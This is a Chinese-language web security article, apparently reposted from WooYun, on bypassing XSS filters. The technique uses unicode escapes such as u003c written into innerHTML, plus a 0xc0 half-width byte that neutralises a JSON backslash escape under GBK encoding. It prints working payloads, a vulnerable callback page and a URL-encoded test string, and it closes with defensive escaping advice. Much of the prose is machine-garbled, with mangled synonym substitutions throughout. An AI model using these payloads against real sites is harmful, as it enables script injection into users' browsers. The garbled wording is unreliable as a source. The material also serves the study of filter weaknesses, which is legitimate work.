|
|
|
联系客服020-83701501

新办法绕过xss过滤-让xss来的更猛烈些吧

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
新设施绕过xss过滤-让xss来的更剧烈些吧

本人都晓得,遍布的防范XSS进攻的方法步伐是在后盾对下列字符进行原义:<、>、’、”,然则颠末过程自身的研究发现,在一些非凡场景下,即使对以上字符进行了原义,照样能够实验XSS进攻的。

起首看一个JS的例子:

Default
1234 <script>     var s = "u003cu003e";     alert(s); </script>

运行这段代码,后果展现下列:

看到这么认识的尖括号,本人会不会有一些欢乐的感到呢?JS代码中并无出现尖括号,然则运行时却输出了尖括号!!!这意味着:能够通过u003c和u003e来包办<和>。然则该若何应用这个本性来构造XSS进攻呢?持续看一个例子:

Default
1234567 <div id='s'> test </div> <script>     var s = "u003cimg src=1 onerror=alert(/xss/)u003e";     document.getElementById('s').innerHTML = s; </script>

运行上面代码,后果展现下列:

在不有尖括号的情况下,腐蚀完成了一个弹框的案例。

目下当今来构思一个更贴近理论开辟情况的例子:
(1)这里我们用网络保险攻防研究室网站首页进行演示:http://www.91ri.org/ main.html,其代码为:

Default
12345678910 <div id="test">    aa </div> <script>        function callback(obj)        {                document.getElementById("test").innerHTML = obj.name;        } </script> <script src=" http://www.victim.com/getcontent"></script>

(2)http://www.victim.com/getcontent前往的模式项目下列:

Default
1 callback({"name":"xx"});

此中name的值是用户的昵称。

这个例子芜杂模仿了异步拉取缔息并进行展现的情况。

目下当今假如用户的昵称为:

Default
1 u003cimg src=1 onerror=alert(/xss/)u003e

那么会是什么情况呢?
起首getcontent前往的昵称应当是多么的:

Default
1 \u003cimg src=1 onerror=alert(/xss/)\u003e

因为后盾输出JSON项目数据时,个别乡村在后头增加原义符进行原义。
接着main.html的callback函数应当是等价于实验下面的语句:

Default
1 document.getElementById("test").innerHTML =" \u003cimg src=1 onerror=alert(/xss/)\u003e";

展现的后果下列:

很可惜,不有弹出框。原因是本来的原义序列u003c并无奏效,被增加的原义符原义掉了。

无非这里假如前往昵称时对进行了原义,但理论情况下,偶尔输出json项目数据时是不有对进行原义的,那样就会触发漏洞。

关于有对进行原义的,这时就轮到我们强大的半字符出场了。关于半字符的题目,这里并不打算详细讲,说下论断:
关于gb2312编码,” [0xc0] “是一个合法的编码,展现为:”繺”。
关于UTF-8编码,在IE6下,上述组合也是一个合法的编码。
此中[0xc0]展现一个十六进制的值。

目下当今批改昵称为:

Default
1 [0xc0]u003cimg src=1 onerror=alert(/xss/) [0xc0]u003e

getcontent输出:

Default
1 callback({"name":"[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e"});

因为半字符[0xc0]的存在,在表明上述JS代码时,等价于:

Default
1 callback({"name":"繺u003cimg src=1 onerror=alert(/xss/) 繺u003e"});

可见,原义序列u003c毕竟又返来了,展现后果下列:

上述昵称中并无出现单双引号,尖括号,以是假如后盾只是对单双引号和尖括号进行原义,那么是能够被绕过防范的。
总结:

(1)??应用处景:输出模式在JS代码里,而且被动态展现进去(如应用innerHTML)。
(2)??测试方法步伐:截获请求包,批改参数为:

Default
1 %c0u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0u003e

(3)??防范方法步伐:后盾对半字符,反斜杠,单双引号,尖括号进行处理。

编辑点评:关于xss绕过的设施有不少,不少步调模范员以及小黑都认为过滤了<、>、’、”,就真的保险的,理论来讲,只需针对这些字符进行一定的原义,就可以腐蚀绕过!

这只是此中一种更多的能够参考本站本文《XSS进攻汇总》

原文邻接:http://zone.wooyun.org/content/1253

义务编辑:梧桐雨

本文图片由本站测试天生,转载请说明!

由网络保险攻防研究室(www.91ri.org)消息保险小组收集整顿。

数安新闻+更多

证书相关+更多